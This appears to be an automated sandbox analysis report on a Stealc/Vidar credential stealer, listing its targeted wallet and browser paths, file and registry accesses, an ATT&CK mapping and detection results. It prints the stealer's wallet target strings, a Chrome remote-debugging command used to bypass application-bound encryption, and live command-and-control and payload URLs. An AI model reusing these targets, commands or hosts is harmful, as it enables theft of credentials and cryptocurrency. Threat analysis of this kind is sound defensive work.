Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1753987889.00000000000F4000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1753987889.00000000000F4000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1753987889.00000000000F4000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1753987889.00000000000F4000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 2756, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000001.00000002.1757866437.0000000000D3D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1753987889.0000000000071000.00000040.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1334436859.0000000004A30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2756, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 2756, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF40C40 sqlite3_bind_zeroblob,	1_2_6CF40C40
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF40D60 sqlite3_bind_parameter_name,	1_2_6CF40D60
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE68EA0 sqlite3_clear_bindings,	1_2_6CE68EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF40B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	1_2_6CF40B40
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE66410 bind,WSAGetLastError,	1_2_6CE66410
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE660B0 listen,WSAGetLastError,	1_2_6CE660B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE66070 PR_Listen,	1_2_6CE66070
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE6C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	1_2_6CE6C050
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE6C030 sqlite3_bind_parameter_count,	1_2_6CE6C030
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CDF22D0 sqlite3_bind_blob,	1_2_6CDF22D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE663C0 PR_Bind,	1_2_6CE663C0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	12 Process Injection	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	238 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	751 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	241 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	39%	ReversingLabs	Win32.Trojan.Symmi
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	53%	ReversingLabs	Win32.Packed.Themida
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	53%	ReversingLabs	Win32.Packed.Themida
C:\Users\user\DocumentsDBFBFBGDBK.exe	53%	ReversingLabs	Win32.Packed.Themida

Source	Detection	Scanner	Label
http://95.163.152.232/IObit.Malware.Fighter.Pro-12.0.0.1433.sfx.exe1bf4040a96	0%	Avira URL Cloud	safe
http://95.163.152.232/IObit.Malware.Fighter.Pro-12.0.0.1433.sfx.exe.	100%	Avira URL Cloud	malware
http://95.163.152.232/IObit.Malware.Fighter.Pro-12.0.0.1433.sfx.exeF?Z	0%	Avira URL Cloud	safe
http://95.163.152.232/	0%	Avira URL Cloud	safe
http://95.163.152.232/IObit.Malware.Fighter.Pro-12.0.0.1433.sfx.exeT?L	0%	Avira URL Cloud	safe
http://95.163.152.232/d5f9d50f5daacf4d7e3d467cb301a88a9e8ec4f0bddf31bf4040a952f649ui/	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/vcruntime140.dllY	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpsE(	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/mozglue.dll6y	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpbn	100%	Avira URL Cloud	malware
http://185.215.113.206ata	0%	Avira URL Cloud	safe
http://95.163.152.232/IObit.Malware.Fighter.Pro-12.0.0.1433.sfx.exe	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/freebl3.dllDy;	100%	Avira URL Cloud	malware
http://95.163.152.232/IObit.Malware.Fighter.Pro-12.0.0.1433.sfx.exe1bf2	0%	Avira URL Cloud	safe
http://95.163.152.232/IObit.Malware.Fighter.Pro-12.0.0.1433.sfx.exef	0%	Avira URL Cloud	safe
http://95.163.152.232/IObit.Malware.Fighter.Pro-12.0.0.1433.sfx.exe1bf4040	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/softokn3.dllaF	100%	Avira URL Cloud	malware
http://95.163.152.232/IObit.Malware.Fighter.Pro-12.0.0.1433.sfx.exe1bf4040a952W	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/nss3.dllr~	100%	Avira URL Cloud	malware
http://95.163.152.232/IObit.Malware.Fighter.Pro-12.0.0.1433.sfx.exeH	0%	Avira URL Cloud	safe
http://95.163.152.232/IObit.Malware.Fighter.Pro-12.0.0.1433.sfx.exeP	0%	Avira URL Cloud	safe
http://95.163.152.232/IObit.Malware.Fighter.Pro-12.0.0.1433.sfx.exelV	0%	Avira URL Cloud	safe
http://185.215.113.206/PR	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
plus.l.google.com	172.217.18.14	true	false	high
play.google.com	142.250.186.110	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	13.32.110.104	true	false	high
www.google.com	142.250.185.100	true	false	high
googlehosted.l.googleusercontent.com	142.250.186.65	true	false	high
assets.msn.com	unknown	unknown	false	high
r.msftstatic.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
deff.nelreports.net	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
198.187.3.20.in-addr.arpa	unknown	unknown	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
http://185.215.113.206/	false	high
https://sb.scorecardresearch.com/b2?rn=1732043144670&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=325FB603007165991815A33F01D964B1&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732043150111&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://clients2.googleusercontent.com/crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx	false	high
http://185.215.113.16/mine/random.exe	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
https://c.msn.com/c.gif?rnd=1732043144669&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=112e3176902449b99b0cd7489c0e031a&activityId=112e3176902449b99b0cd7489c0e031a&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0	false	high
https://c.msn.com/c.gif?rnd=1732043144669&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=112e3176902449b99b0cd7489c0e031a&activityId=112e3176902449b99b0cd7489c0e031a&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=0346E9AD77D646EE9BEDBE07189956F2&MUID=325FB603007165991815A33F01D964B1	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
185.215.113.206/c4becf79229cb002.php	false	high
